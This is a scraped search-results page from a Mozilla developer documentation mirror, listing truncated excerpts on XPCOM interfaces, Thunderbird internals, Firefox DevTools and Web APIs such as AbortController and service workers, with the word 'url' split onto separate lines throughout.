url of the script to load into the new worker. return value an nsiworker object representing the new chromeworker. see also using web workers worker sharedworker ...
nsIXULTemplateQueryProcessor
ariable may be specified in a similar way using the "member" attribute, or it may be specified in the first <action> body in the template as the value of a uri attribute on an element. a breadth-first search of the first action is performed to find this element. if unspecified, the default value of the reference variable is ?uri. for example, a query might have the following syntax: (?id, ?name, ?
url) from bookmarks where parentfolder = ?start this query might generate a result for each bookmark within a given folder. the variable ?start would be the reference variable, while the variable ?id would be the member variable, since it is the unique value that identifies a result. each result will have the four variables referred to defined for it and the values may be retrieved using the result's...
nsPIPromptService
log. edelaybuttonenable the value is 6. if this is not 0, the all buttons are disabled when the dialog is shown. and they will be enabled later. esoundeventid the value is 7. this is the sound event id which should be played when the dialog is shown. see also nsisound.playeventsound(). method overview void dodialog(in nsidomwindow aparent, in nsidialogparamblock aparamblock, in string achrome
url); methods dodialog() opens a dialog. void dodialog( in nsidomwindow aparent, in nsidialogparamblock aparamblock, in string achrome
url ); parameters aparent the parent window of the dialog. aparamblock various parameters for the dialog. achrome
url the
url of the dialog implementation. ...
Using nsIPasswordManager
orage of sensitive password information. getting nsipasswordmanager to get a component implementing nsipasswordmanager, use the following: var passwordmanager = components.classes["@mozilla.org/passwordmanager;1"] .getservice(components.interfaces.nsipasswordmanager); storing a password to store a password in the password manager, you need three things: a hostname/
url (you'll need this to retrieve the password again later), a username, and a password. of this information, the password is the only data that will be stored securely. adding a password to the password manager is easy: passwordmanager.adduser('host', 'username', 'password'); since there's no provision to include names of html input fields, no password stored by this interface will be used to fill ...
Index
ame manner as the core xpcshell-tests. this page describes additional resources and facilities that mailnews has developed to support the xpcshell-tests; see the core xpcshell-tests page for more information on how to develop these. 42 mailbox mailnews the mailbox protocol is used to read messages from a local folder berkeley mailbox. it consists of nsmailboxservice, nsmailbox
url, and nsmailboxprotocol. this may seem like a lot of infrastructure just to read messages from a flat file, but it allows us to do it asynchronously, and to have reading local messages fit into the same kind of mechanisms that reading nntp and imap messages do - running
urls, getting onstart/stoprunning
url notifications when the
url starts/stops, etc. 43 mailnews and mail code review re...
LDAP Support
zipcode postalcode workzipcode zip workcountry countryname jobtitle title department ou department orgunit department department department departmentnumber company o company company workcountry countryname _aimscreenname nscpaimscreenname webpage1 work
url webpage2 home
url birthyear birthyear custom1 custom1 custom2 custom2 custom3 custom3 custom4 custom4 notes notes notes description prefermailformat xmozillausehtmlmail lastmodifieddate modifytimestamp custom ldap attributes thunderbird supports custom ldap attributes for...
MailNews Filters
ne of the actions is a move, or a stop filter execution action, we move on to the next header; otherwise, we move on to the next filter. in the case of pop3, filter execution is synchronous. for each new header, we evaluate the filter criteria and apply the actions synchronously, including moving a message to an other local folder, and advance to the next header. for imap, we tend to initiate the
urls synchronously, but because we don't run two
urls simultaneously on the same folder, the
urls don't run until we've finished downloading headers. we also coalesce moves to the same destination folder, so that we can do them in one
url/command to the server, and we playback those moves when the header download is done. after the fact filters these are one or more filters run on one or more fol...
Mailbox
the mailbox protocol is used to read messages from a local folder berkeley mailbox. it consists of nsmailboxservice, nsmailbox
url, and nsmailboxprotocol. this may seem like a lot of infrastructure just to read messages from a flat file, but it allows us to do it asynchronously, and to have reading local messages fit into the same kind of mechanisms that reading nntp and imap messages do - running
urls, getting onstart/stoprunning
url notifications when the
url starts/stops, etc. the mailbox protocol is also used to regenerate a summary file, in conjunction with nsmsgmailboxparser ...
Add New Tab
var a
url = "chrome://myext/mytab.xul"; let tabmail = getmail3pane().document.getelementbyid("tabmail"); tabmail.opentab("chrometab", { chromepage: a
url }); ...
Add Toolbar Button
tion/x-javascript" src="overlay.js" /> <toolbarpalette id="mailtoolbarpalette"> <toolbarbutton id="demo-button" class="demo-button toolbarbutton-1" label="demo" type="button" oncommand="demo.load();" /> </toolbarpalette> </overlay> add this to the css file you referenced in your xul file: #demo-button, [place="palette"] > #demo-button { list-style-image:
url("chrome://demo/skin/icon.png") !important; } ...
Using the Multiple Accounts API
erver.server.download_on_biff. - boolean, should we download new messags on biff (true) or just alert user that there is new mail (false) preference: mail.server.server.directory - local platform-specific path to store messages and folder indexes preference: mail.server.server.name - user-visible name of server the following are specific to imap: preference: mail.server.server.admin_
url - administration
url for server preference: mail.server.server.using_subscription - boolean, should we use subscriptions? (i.e. use lsub instead of list) preference: mail.server.server.cleanup_inbox_on_exit - boolean, should we purge the inbox when we quit? preference: mail.server.server.dual_use_folders - boolean - can folders contain both folders and messages? preference: mail.server.se...
Using the Mozilla symbol server
the documentation there can be useful. note that because mozilla release builds are heavily optimized, debugging is not always easy. the debugger will not be able to show you the content of all variables and the execution path can seem strange because of inlining, tail calls, and other compiler optimizations. the only workaround is to build an unoptimized local build. the official symbol server
url for firefox is https://symbols.mozilla.org/. you cannot visit this
url directly: you must add it to the symbol path of your debugging tool. in the examples below, a local cache directory is used to avoid repeatedly fetching the pdb from the server. replace c:\users\bsmedberg\symbols with an appropriate cache directory on your machine. using the symbol server in microsoft visual c++ using the...
Virtualenv
riable, virtual_env, that points to the path of the virtualenv, as well as a deactivate function for deactivating the virtualenv. virtualenv tools virtualenv does one thing well: creates isolated virtual environments of python packages. due to its utility, tools have been built around this functionality. ...
Zombie compartments
https://www.facebook.com/), but the name of the compartment includes all the trailing gunk (e.g. "plugins/like.php?..."). this trailing gunk can be misleading and you shouldn't pay too much attention to it. for example, if i open https://bugzilla.mozilla.org/show_bug.cgi?id=668871 in ...
ctypes.open
ix.so then it is converted to a file uri like this: components.utils.import("resource://gre/modules/services.jsm"); var cr = components.classes['@mozilla.org/chrome/chrome-registry;1'].getservice(components.interfaces.nsichromeregistry); var chromeuri_mylib = services.io.newuri('chrome://youraddon/content/mysubfolder/mycfunctionsforunix.so', 'utf-8', null); var localfile_mylib = cr.convertchrome
url(chromeuri_mylib); var jarpath_mylib = localfile_mylib.spec; // "jar:file:///c:/users/vayeate/appdata/roaming/mozilla/firefox/profiles/aecgxse.unnamed%20profile%201/extensions/youraddon@jetpack.xpi!/mysubfolder/mycfunctionsforunix.so" var filepath_mylib = localfilemylib.path; // "file:///c:/users/vayeate/appdata/roaming/mozilla/firefox/profiles/aecgxse.unnamed%20profile%201/extensions/youraddon@je...
Constants - Plugins
_of_memory_error 5 memory allocation failed. nperr_invalid_plugin_error 6 plug-in missing or invalid. nperr_invalid_plugin_dir_error 7 plug-in directory missing or invalid. nperr_incompatible_version_error 8 versions of plug-in and communicator do not match. nperr_invalid_param 9 parameter missing or invalid. nperr_invalid_
url 10
url missing or invalid. nperr_file_not_found 11 file missing or invalid. nperr_no_data 12 stream contains no data. nperr_stream_not_seekable 13 seekable stream expected. result codes constant value description npres_done 0 (most common): completed normally; all data was sent to the instance. npres...
Plug-in Side Plug-in API - Plugins
of a new data stream. npp_print requests a platform-specific print operation for an embedded or full-screen plug-in. npp_setvalue sets information about the plug-in. npp_setwindow tells the plug-in when a window is created, moved, sized, or destroyed. np_shutdown provides global deinitialization for a plug-in. npp_streamasfile provides a local file name for the data from a stream. npp_
urlnotify notifies the instance of the completion of a
url request. npp_write delivers data to a plug-in instance. npp_writeready determines maximum number of bytes that the plug-in can consume. « previousnext » ...
Version, UI, and Status Information - Plugins
« previousnext » this chapter describes the functions that allow a plug-in to display a message on the status line, get agent information, and check on the current version of the plug-in api and the browser. displaying a status line message users are accustomed to checking the ui status line at the bottom of the browser window for updates on the progress of an operation or the
url of a link on the page. you can also use the status line to notify the user of plug-in-related information. the user might appreciate seeing the percentage completed of the current operation or the
url of a button or other link object when the cursor is over it, all of which the browser shows. in fact, your plug-in interface should be consistent with the rest of the browser in this way. to accomplis...
Plugins
t the roadmap for adobe flash and other plugin support in firefox. roadmap highlights since firefox 52, plugins other than flash are not loaded by firefox. starting in firefox 55, users will be asked to choose which sites may use flash content. this feature will be rolled out gradually to firefox users. also from firefox 55 onwards, flash and other plugins can no longer be loaded from any
url scheme except for http:// and https:// (bug 1335475). see also flash can now be loaded only from http/https for more useful information. starting with firefox 56 in september 2017, firefox for android will remove all support for plugins (bug 1381916). tutorials and references the articles below are developer information about the developing for click-to-play, and plugin blocking. flash ...
Preferences System
e window size does not change as the selected panel is changed (e.g. windows). usage in xulrunner applications when calling opendialog() to open a preferences dialog, "toolbar" should be included in the features string. ...
Accessibility Inspector - Firefox Developer Tools
ed above. actions — a list of actions that can be performed on the item, for example, a pushbutton would have "press" listed, while a link would have "jump" listed. value — the value of the item. this can mean different things depending on the type of the item; for example, a form input (role: entry) would have a value of whatever is entered in the input, whereas a link's value would be the
url in the corresponding <a> element's href. domnode — the type of dom node that the item in the accessibility tree represents. you can click on the "target" icon that comes after it to select the node in the page inspector. hovering over the "target" icon highlights the dom node in the page content. description — any further description provided on the element, usually by the content of a t...
Introduction to DOM Inspector - Firefox Developer Tools
ded chrome windows and subdocuments. a browser window and the dom inspector are likely be already open and displayed in this list. the dom inspector keeps track of all the windows that are open, so to inspect the dom of a particular window in the dom inspector, simply access that window as you would normally and then choose its title from this dynamically updated menulist. inspecting arbitrary
urls you may also inspect the dom of arbitrary
urls by using the inspect a
url menuitem in the file menu, or by just entering a
url into the dom inspector's address bar and clicking inspect or pressing enter. for example, you can enter http://www.mozilla.org in the address bar and see the dom structure of the mozilla.org home page. you should not use this approach to inspect chrome documents. inste...
Debugging service workers - Firefox Developer Tools
stepping through your code to pinpoint exactly where it is going wrong. debugging your service worker in any case, when the service worker is successfully registered, you'll see information about it displayed in the application > service workers view (along with any other service workers registered on the same domain): this gives you a variety of information about your service worker: the
url that the service worker is registered on. that last time the service worker was updated (if the service has not been updated, this is when it was first installed). the path to the service worker source file. the server worker’s status, which can be one of the following: stopped: the service worker is installed, but not currently running. when the service worker is stopped, a start butt...
Debug eval sources - Firefox Developer Tools
you can debug javascript code that is evaluated dynamically, either as a string passed to eval() or as a string passed to the function constructor. in the video below, we load a page containing a source like this: var script = `function foo() { console.log('called foo'); } //# source
url=my-foo.js`; eval(script); var button = document.getelementbyid("foo"); button.addeventlistener("click", foo, false); the evaluated string is given the name "my-foo.js" using the //# source
url directive. this source is then listed in the source list pane, and can be opened and debugged like any other source. the name of the source will also appear in stack traces appearing in the web console. the debugger will also stop at debugger; statements in unnamed eval ...
Set an XHR breakpoint - Firefox Developer Tools
an xhr (xmlhttprequest) breakpoint breaks code execution when an xhr request is dispatched so that you can examine the current state of the program. you can break on all requests or on those that include a specific
url. to turn on the feature: open the debugger click on "pause on any
url" which acts as a wild card, causing the code to pause on any call, or, click the plus sign next to the xhr breakpoints header, enter the
url in which you are interested, and press enter. note: if you enter a key word instead of a
url, code execution will pause on any call to a
url that contains that keyword. when your code breaks on an xhr request, the righthand pane will have two additional sections: call stack the list of functions that were executed in order ot get to the currently executi...
Debugger.Frame - Firefox Developer Tools
al code is the variableenvironment of the execution context that this frame represents.) if implementation restrictions prevent spidermonkey from extending this frame’s environment as requested, this call throws an error exception. if given,options should be an object whose properties specify details of how the evaluation should occur. the eval method recognizes the following properties:
url the filename or
url to which we should attributecode. if this property is omitted, the
url defaults to "debugger eval code". linenumber the line number at which the evaluated code should be claimed to begin within
url. evalwithbindings(code,bindings, [options]) like eval, but evaluatecode in the environment of this frame, extended with bindings from the objectbindings. for each own e...
Tutorial: Show Allocations Per Call Path - Firefox Developer Tools
tutorial: show allocations per call path this page shows how to use the debugger api to show how many objects a web page allocates, sorted by the function call path that allocated them. visit the
url about:config, and set the devtools.chrome.enabled preference to true: setting the 'devtools.chrome.enabled' preference open a developer scratchpad (menu button > developer > scratchpad), and select "browser" from the "environment" menu. (this menu will not be present unless you have changed the preference as explained above.) selecting the 'browser' context in the scratchpad enter the following code in the scratchpad: // this simply defines the 'debugger' constructor in this // scratchpad; it doesn't actually start debugging anything. components.utils.im...
Tutorial: Set a breakpoint - Firefox Developer Tools
e this: you can also click on the text that says “or me!”, to see report called from a different handler. if debugger is unable to find the report function, or the console output does not appear, evaluate the expression tabs[0].content.document.location in the console to make sure that tabs[0] indeed refers to the html file you visited. if you have more than one tab visiting a file:
url, they all share a single content process, so you may need to use a different element of the array as the debuggee. press “run” in the scratchpad again. now, clicking on “click me!” causes the breakpoint hit to be logged twice—one for each debugger instance. multiple debugger instances can observe the same debuggee. re-running the code in the scratchpad creates a fresh debugger ...
JSON viewer - Firefox Developer Tools
viewer is enabled by default only in firefox developer edition and firefox nightly. to enable this feature in other release channels, set the devtools.jsonview.enabled preference to true. from firefox 53 onwards, the json viewer is also enabled by default in beta and the normal release version of firefox. firefox includes a json viewer. if you open a json file in the browser, or view a remote
url with the content-type set to application/json, it is parsed and given syntax highlighting. arrays and objects are shown collapsed, and you can expand them using the "+" icons. the json viewer provides a search box that you can use to filter the json. you can also view the raw json and pretty-print it. finally, if the document was the result of a network request, the viewer displays the reque...
Network monitor toolbar - Firefox Developer Tools
the network monitor provides two toolbar areas, one above the main section, and another below. toolbar the toolbar is at the top of the main network monitor window. (prior to firefox 77, this toolbar was arranged somewhat differently.) it provides: an icon to clear the network request list. a box enabling you to filter requests by
url and by properties. a set of tool icons: pause (or resume) recording network log search the log request blocking an array of buttons to filter the network request list by type: by the content type of the response xhr requests websocket upgrades and messages (labeled ws) other requests a checkbox that allows you to disable caching. throttling menu, to simulate various connection types a menu of other actions: ...
Edit fonts - Firefox Developer Tools
hanges instantly visible on the page. all fonts on page the remaining area, at the bottom of the fonts tab, shows an expandable list of all of the fonts in use on the page. the list is useful because you can easily determine whether a font is a web font or a font hosted on your system. each font listed in this section shows you: the font-family identifier and full name of the font. the
url to the font file in the case of web fonts not available on your system, or "system" in the case of fonts loaded from your computer (either default system fonts, or web fonts that you've also got installed on your system). you can copy the
url to the font file by clicking on the icon to the right of the
url. the @font-face descriptor that loads the font into the page, in the case of web fonts. th...
View background images - Firefox Developer Tools
in the rules view, you can see a preview of images specified using background-image. just hover over the rule: from firefox 41, if you right-click the image declaration, you'll see an option to copy the image as a data:
url: ...
Settings - Firefox Developer Tools
lt: a dark theme: common preferences settings that apply to more than one tool. there's just one of these: enable persistent logs a setting to control whether or not the web console and network monitor clear their output when you navigate to a new page. if common preferences is not included in the settings, web console logs can be persisted by using the 'about:config'
url in browser address bar, searching for: 'devtools.webconsole.persistlog' then toggling this value to true inspector show browser styles a setting to control whether styles applied by the browser (user-agent styles) should be displayed in the inspector's rules view. note that this setting is independent of the "browser styles" checkbox in the inspector's computed view. truncate dom attribute...
Validators - Firefox Developer Tools
checker this tool will check links on a given web page. html tidy html tidy is a tool that can be used to report errors in an html page and to format web pages for better reading. (some authoring software, such as html-kit, builds in html tidy which makes validation quick and easy.) html validator pro this is an automated html5 checker using the same validator as the w3c. provide a starting
url and the tool will find and validate all pages in a website. accessibility services lynx viewer checks a web page using lynx visualization and allows validation of accessibility features original document information last updated date: august 16th, 2002 copyright © 2001-2003 netscape. ...
View Source - Firefox Developer Tools
also highlights parsing errors in red. hovering your mouse over errors displays a tooltip explaining the error. this feature is useful when you're looking for html errors. to access go to line from the keyboard, press control + option + l on macos, or alt + shift + l on windows or linux. link to a line number it is possible to link to a particular line, by adding the #linennn anchor to the
url the browser will jump to the nnn line. for example view-source:https://www.mozilla.org/#line100 view selection source if you select part of a web page and conext-click, you'll see a context menu item labeled "view selection source", that behaves just like "view page source", except you only see the source for the selection. view mathml source if you context-click while the mouse is over some...
Console messages - Firefox Developer Tools
twork monitor request details. uri the target uri. summary the http version, response code, and time taken to complete. clicking the response code takes you to the reference page for that code. the context menu for network messages includes a few extra items in addition the globally-available ones: copy link location acts as you would expect, copying the
url into the clipboard open in network panel switches context to the network tab, selects the request and shows you the details resend request sends the network request again. open
url in new tab opens the
url in a new browser tab. if the resource is an image, the image will be opened in a new tab. if the resource is a stylesheet, you will see the css rules, etc. js javascript errors conta...
AbortController.AbortController() - Web APIs
cond event listener. var controller = new abortcontroller(); var signal = controller.signal; var downloadbtn = document.queryselector('.download'); var abortbtn = document.queryselector('.abort'); downloadbtn.addeventlistener('click', fetchvideo); abortbtn.addeventlistener('click', function() { controller.abort(); console.log('download aborted'); }); function fetchvideo() { ... fetch(
url, {signal}).then(function(response) { ... }).catch(function(e) { reports.textcontent = 'download error: ' + e.message; }) } note: when abort() is called, the fetch() promise rejects with an aborterror. you can find a full working example on github — see abort-api (see it running live also). specifications specification status comment domthe definition of...
AbortController.abort() - Web APIs
cond event listener. var controller = new abortcontroller(); var signal = controller.signal; var downloadbtn = document.queryselector('.download'); var abortbtn = document.queryselector('.abort'); downloadbtn.addeventlistener('click', fetchvideo); abortbtn.addeventlistener('click', function() { controller.abort(); console.log('download aborted'); }); function fetchvideo() { ... fetch(
url, {signal}).then(function(response) { ... }).catch(function(e) { reports.textcontent = 'download error: ' + e.message; }) } note: when abort() is called, the fetch() promise rejects with an aborterror. you can find a full working example on github — see abort-api (see it running live also). specifications specification status comment domthe definition of...
AbortController.signal - Web APIs
cond event listener. var controller = new abortcontroller(); var signal = controller.signal; var downloadbtn = document.queryselector('.download'); var abortbtn = document.queryselector('.abort'); downloadbtn.addeventlistener('click', fetchvideo); abortbtn.addeventlistener('click', function() { controller.abort(); console.log('download aborted'); }); function fetchvideo() { ... fetch(
url, {signal}).then(function(response) { ... }).catch(function(e) { reports.textcontent = 'download error: ' + e.message; }) } note: when abort() is called, the fetch() promise rejects with an aborterror. you can find a full working example on github — see abort-api (see it running live also). specifications specification status comment domthe definition of...
AbortController - Web APIs
cond event listener. var controller = new abortcontroller(); var signal = controller.signal; var downloadbtn = document.queryselector('.download'); var abortbtn = document.queryselector('.abort'); downloadbtn.addeventlistener('click', fetchvideo); abortbtn.addeventlistener('click', function() { controller.abort(); console.log('download aborted'); }); function fetchvideo() { ... fetch(
url, {signal}).then(function(response) { ... }).catch(function(e) { reports.textcontent = 'download error: ' + e.message; }) } note: when abort() is called, the fetch() promise rejects with a domexception named aborterror. you can find a full working example on github — see abort-api (see it running live also). specifications specification status comment do...
AbortSignal - Web APIs
cond event listener. var controller = new abortcontroller(); var signal = controller.signal; var downloadbtn = document.queryselector('.download'); var abortbtn = document.queryselector('.abort'); downloadbtn.addeventlistener('click', fetchvideo); abortbtn.addeventlistener('click', function() { controller.abort(); console.log('download aborted'); }); function fetchvideo() { ... fetch(
url, {signal}).then(function(response) { ... }).catch(function(e) { reports.textcontent = 'download error: ' + e.message; }) } note: when abort() is called, the fetch() promise rejects with an aborterror. current version of firefox rejects the promise with a domexception you can find a full working example on github — see abort-api (see it running live also). specifications ...
AudioTrack.id - Web APIs
the id property contains a string which uniquely identifies the track represented by the audiotrack. this id can be used with the audiotracklist.gettrackbyid() method to locate a specific track within the media associated with a media element. the track id can also be used as the fragment of a
url that loads the specific track (if the media supports media fragments). syntax var trackid = audiotrack.id; value a domstring which identifies the track, suitable for use when calling gettrackbyid() on an audiotracklist such as the one specified by a media element's audiotracks property. specifications specification status comment html living standardthe definition of 'audiotrack.id' in that specification. living standard html5the definition of '...
AudioTrack - Web APIs
es enabled a boolean value which controls whether or not the audio track's sound is enabled. setting this value to false mutes the track's audio. id read only a domstring which uniquely identifies the track within the media. this id can be used to locate a specific track within an audio track list by calling audiotracklist.gettrackbyid(). the id can also be used as the fragment part of the
url if the media supports seeking by media fragment per the media fragments uri specification. kind read only a domstring specifying the category into which the track falls. for example, the main audio track would have a kind of "main". label read only a domstring providing a human-readable label for the track. for example, an audio commentary track for a movie might have a label of "commentary...
Bluetooth - Web APIs
options = {}); }; bluetooth includes bluetoothdeviceeventhandlers; bluetooth includes characteristiceventhandlers; bluetooth includes serviceeventhandlers; properties inherits properties from its parent eventtarget. bluetooth.referringdevice read only returns a reference to the device, if any, from which the user opened the current page. for example, an eddystone beacon might advertise a
url, which the user agent allows the user to open. a bluetoothdevice representing the beacon would be available through navigator.bluetooth.referringdevice. events bluetooth.onavailabilitychanged an event handler that runs when an event of type availabilitychanged has fired. methods bluetooth.getavailability() returns a promise that resolved to a boolean indicating whether the user-agent ...
Body - Web APIs
, we need to run body.blob() (response implements body) to give the response its correct mime type. html content <img class="my-image" src="https://udn.realityripple.com/samples/46/29059a2b39.png"> js content const myimage = document.queryselector('.my-image'); fetch('https://upload.wikimedia.org/wikipedia/commons/7/77/delete_key1.jpg') .then(res => res.blob()) .then(res => { const object
url =
url.createobject
url(res); myimage.src = object
url; }); specifications specification status comment fetchthe definition of 'body' in that specification. living standard ...
CSSImageValue - Web APIs
the cssimagevalue interface of the css typed object model api represents values for properties that take an image, for example background-image, list-style-image, or border-image-source. the cssimagevalue object represents an <image> that involves an
url, such as
url() or image(), but not linear-gradient() or element() . properties none. methods none. examples we create an element <button>magic wand</button> we add some css, including a background image requesting a binary file: button { display: inline-block; min-height: 100px; min-width: 100px; background: no-repeat 5% center
url(https://mdn.mozillademos.org/files/16793/magicwand.png) aqua; } we get the element's style map. we then get() the background-image from the stylemap and stringify it: // get the element ...
CSSRule - Web APIs
ommon to all rules, while properties unique to specific rule types are specified in the more specialized interfaces for those rules' respective types. references to a cssrule may be obtained by looking at a cssstylesheet's cssrules list. properties common to all cssrule instances cssrule.csstext represents the textual representation of the rule, e.g. "h1,h2 { font-size: 16pt }" or "@import '
url'". to access or modify parts of the rule (e.g. the value of "font-size" in the example) use the properties on the specialized interface for the rule's type. cssrule.parentrule read only returns the containing rule, otherwise null. e.g. if this rule is a style rule inside an @media block, the parent rule would be that cssmediarule. cssrule.parentstylesheet read only returns the cssstylesheet...
CanvasRenderingContext2D.filter - Web APIs
t2d.filter property of the canvas 2d api provides filter effects such as blurring and grayscaling. it is similar to the css filter property and accepts the same values. syntax ctx.filter = "<filter-function1> [<filter-function2>] [<filter-functionn>]"; ctx.filter = "none"; values the filter property accepts a value of "none" or one or more of the following filter functions in a domstring.
url() a css <
url>. takes an iri pointing to an svg filter element, which may be embedded in an external xml file. blur() a css <length>. applies a gaussian blur to the drawing. it defines the value of the standard deviation to the gaussian function, i.e., how many pixels on the screen blend into each other; thus, a larger value will create more blur. a value of 0 leaves the input unchanged. brigh...
CanvasRenderingContext2D.font - Web APIs
amily. html <canvas id="canvas"></canvas> javascript const canvas = document.getelementbyid('canvas'); const ctx = canvas.getcontext('2d'); ctx.font = 'bold 48px serif'; ctx.stroketext('hello world', 50, 100); result loading fonts with the css font loading api with the help of the fontface api, you can explicitly load fonts before using them in a canvas. let f = new fontface('test', '
url(x)'); f.load().then(function() { // ready to use the font in a canvas context }); specifications specification status comment html living standardthe definition of 'canvasrenderingcontext2d.font' in that specification. living standard ...
Manipulating video using canvas - Web APIs
ffects to the video being displayed. this tutorial demonstrates how to perform chroma-keying (also known as the "green screen effect") using javascript code. the document content the html document used to render this content is shown below. ...
Client.postMessage() - Web APIs
arly if we don't have access to the client. // eg, if it's cross-origin. if (!event.clientid) return; // get the client. const client = await clients.get(event.clientid); // exit early if we don't get the client. // eg, if it closed. if (!client) return; // send a message to the client. client.postmessage({ msg: "hey i just got a fetch from you!",
url: event.request.
url }); }()); }); receiving that message: navigator.serviceworker.addeventlistener('message', event => { console.log(event.data.msg, event.data.
url); }); specifications specification status comment service workersthe definition of 'postmessage()' in that specification. working draft initial definition. ...
Client - Web APIs
-specific windowclient. you can get client/windowclient objects from methods such as clients.matchall() and clients.get(). methods client.postmessage() sends a message to the client. properties client.id read only the universally unique identifier of the client as a string. client.type read only the client's type as a string. it can be "window", "worker", or "sharedworker". client.
url read only the
url of the client as a string. specifications specification status comment service workersthe definition of 'client' in that specification. working draft initial definition. ...
Clients.get() - Web APIs
t matching a given id and returns it in a promise. syntax self.clients.get(id).then(function(client) { // do something with your returned client }); parameters id a domstring representing the id of the client you want to get. return value a promise that resolves to a client object or undefined. examples self.clients.get(id).then(function(client) { self.clients.openwindow(client.
url); }); specifications specification status comment service workersthe definition of 'get()' in that specification. working draft initial definition ...
Clients.matchAll() - Web APIs
"window", "worker", "sharedworker", and "all". the default is "all". return value a promise that resolves to an array of client objects. in chrome 46/firefox 54 and later, this method returns clients in most recently focused order, correct as per spec. examples clients.matchall(options).then(function(clientlist) { for (var i = 0 ; i < clientlist.length ; i++) { if (clientlist[i].
url === 'index.html') { clients.openwindow(clientlist[i]); // or do something else involving the matching client } } }); specifications specification status comment service workersthe definition of 'clients: matchall' in that specification. working draft initial definition ...
Clipboard.read() - Web APIs
it, we proceed. if (result.state == "granted" || result.state == "prompt") { navigator.clipboard.read().then(data => { for (let i=0; i<data.items.length; i++) { if (data.items[i].type != "image/png") { alert("clipboard contains non-image data. unable to access it."); } else { const blob = data.items[i].gettype("image/png"); imgelem.src =
url.createobject
url(blob); } } }); } }); note: at this time, while firefox does implement read(), it does not recognize the "clipboard-read" permission, so attempting to use the permissions api to manage access to the api will not work. specifications specification status comment clipboard api and eventsthe definition of 'read()' in that specification...
CrashReportBody - Web APIs
om: the browser ran out of memory. unresponsive: the page was killed due to being unresponsive. examples crash reports are generally only retrievable via endpoints set up using the report-to header. it is difficult to retrieve a crash report via a reportingobserver, as by that point the page would have crashed! some sample json might look like this: { "type": "crash", "age": 42, "
url": "https://example.com/", "user_agent": "mozilla/5.0 (x11; linux x86_64; rv:60.0) gecko/20100101 firefox/60.0", "body": { "reason": "oom" } } note: crash reports are always delivered to the endpoint group named default; there is currently no way to override this. if you want to receive other kinds of reports, but not crash reports, make sure to use a different name for the endpoint gr...
CustomElementRegistry.define() - Web APIs
bute('class','wrapper'); var icon = document.createelement('span'); icon.setattribute('class','icon'); icon.setattribute('tabindex', 0); var info = document.createelement('span'); info.setattribute('class','info'); // take attribute content and put it inside the info span var text = this.getattribute('text'); info.textcontent = text; // insert icon var img
url; if(this.hasattribute('img')) { img
url = this.getattribute('img'); } else { img
url = 'img/default.png'; } var img = document.createelement('img'); img.src = img
url; icon.appendchild(img); // create some css to apply to the shadow dom var style = document.createelement('style'); style.textcontent = '.wrapper {' + 'positio...
DOMError - Web APIs
spaceerror the operation is not allowed by namespaces in xml invalidaccesserror the object does not support the operation or argument. typemismatcherror the type of the object does not match the expected type. securityerror the operation is insecure. networkerror a network error occurred. aborterror the operation was aborted.
urlmismatcherror the given
url does not match another
url. quotaexceedederror the quota has been exceeded. timeouterror the operation timed out. invalidnodetypeerror the node is incorrect or has an incorrect ancestor for this operation. datacloneerror the object can not be cloned. ...
DOMException - Web APIs
vascript typeerror exception is now raised instead of a domexception with this value. securityerror the operation is insecure. (legacy code value: 18 and legacy constant name: security_err) networkerror a network error occurred. (legacy code value: 19 and legacy constant name: network_err) aborterror the operation was aborted. (legacy code value: 20 and legacy constant name: abort_err)
urlmismatcherror the given
url does not match another
url. (legacy code value: 21 and legacy constant name:
url_mismatch_err) quotaexceedederror the quota has been exceeded. (legacy code value: 22 and legacy constant name: quota_exceeded_err) timeouterror the operation timed out. (legacy code value: 23 and legacy constant name: timeout_err) invalidnodetypeerror the node is incorrect or h...
DOMParser - Web APIs
you can perform the opposite operation—converting a dom tree into xml or html source—using the xmlserializer interface. in the case of an html document, you can also replace portions of the dom with new dom trees built from html by setting the value of the element.innerhtml and outerhtml properties. ...
Document.createExpression() - Web APIs
this method compiles an xpathexpression which can then be used for (repeated) evaluations. syntax xpathexpr = document.createexpression(xpathtext, namespace
urlmapper); parameters xpathtext is a string which is the xpath expression to be compiled. namespace
urlmapper is a function which maps a namespace prefix to a namespace
url (or null if none needed). firefox 3 note prior to firefox 3, you could call this method on documents other than the one you planned to run the xpath against. under firefox 3, you must call it on the same document. return value xpathexpression ...
Document.documentURI - Web APIs
the documenturi read-only property of the document interface returns the document location as a string. syntax const uri = document.documenturi example javascript document.getelementbyid("
url").textcontent = document.documenturi; html <p id="
urltext">
url:<br/> <span id="
url">
url goes here</span> </p> result specifications specification status comment domthe definition of 'documenturi' in that specification. living standard ...
Document Object Model (DOM) - Web APIs
to achieve this, the following interfaces present in the different dom level 3 or earlier specifications have been removed. it is uncertain whether some may be reintroduced in the future or not, but for the time being they should be considered obsolete and should be avoided: docume...
EventSource() - Web APIs
configuration optional provides options to configure the new connection. the possible entries are: withcredentials, defaulting to false, indicating if cors should be set to include credentials. ...
EventSource - Web APIs
that you can open 6 sse connections across all of the tabs to www.example1.com and another 6 sse connections to www.example2.com. (from stackoverflow). when using http/2, the maximum number of simultaneous http streams is negotiated between the server and the client (defaults to 100). constructor eventsource() creates a new eventsource to handle receiving server-sent events from a specified
url, optionally in credentials mode. properties this interface also inherits properties from its parent, eventtarget. eventsource.readystate read only a number representing the state of the connection. possible values are connecting (0), open (1), or closed (2). eventsource.
url read only a domstring representing the
url of the source. eventsource.withcredentials read only a boolean indi...
FeaturePolicy.allowsFeature() - Web APIs
. it returns a boolean that is true if and only if the specified feature is allowed in the specified context (or the default context if no context is specified). syntax const allowed = featurepolicy.allowsfeature(<feature>) or const allowed = featurepolicy.allowsfeature(<feature>, <origin>) parameters feature name a specific feature name must be specified. origin name optional an origin
url to check the feature on. if it is omitted the default origin is used. return value a boolean that is true if and only if the feature is allowed. example the following example queries whether or not the document is allowed to use camera api by the feature policy. please note that camera api might be restricted by the permissions api, if the user did not grant the corresponding permission yet. ...
FederatedCredential - Web APIs
al. federatedcredential.provider read only returns a usvstring containing a credential's federated identity provider. federatedcredential.protocol read only returns a domstring containing a credential's federated identity protocol. event handlers none. methods none. examples var cred = new federatedcredential({ id: id, name: name, provider: 'https://account.google.com', icon
url: icon
url }); // store it navigator.credentials.store(cred) .then(function() { // do something else. }); specifications specification status comment credential management level 1 working draft initial definition. browser compatibility the compatibility table in this page is generated from structured data. if you'd like to contribute to the data, please ...
FetchEvent.preloadResponse - Web APIs
r expectedresponse = fetchevent.preloadresponse; value a promise that resolves to a response or otherwise to undefined. example this code snippet is from the navigation preload page. the serviceworkerglobalscope.onfetch event handler listens for the fetch event. when fired, pass a promise that back to the controlled page to fetchevent.respondwith(). this promise resolves to the first matching
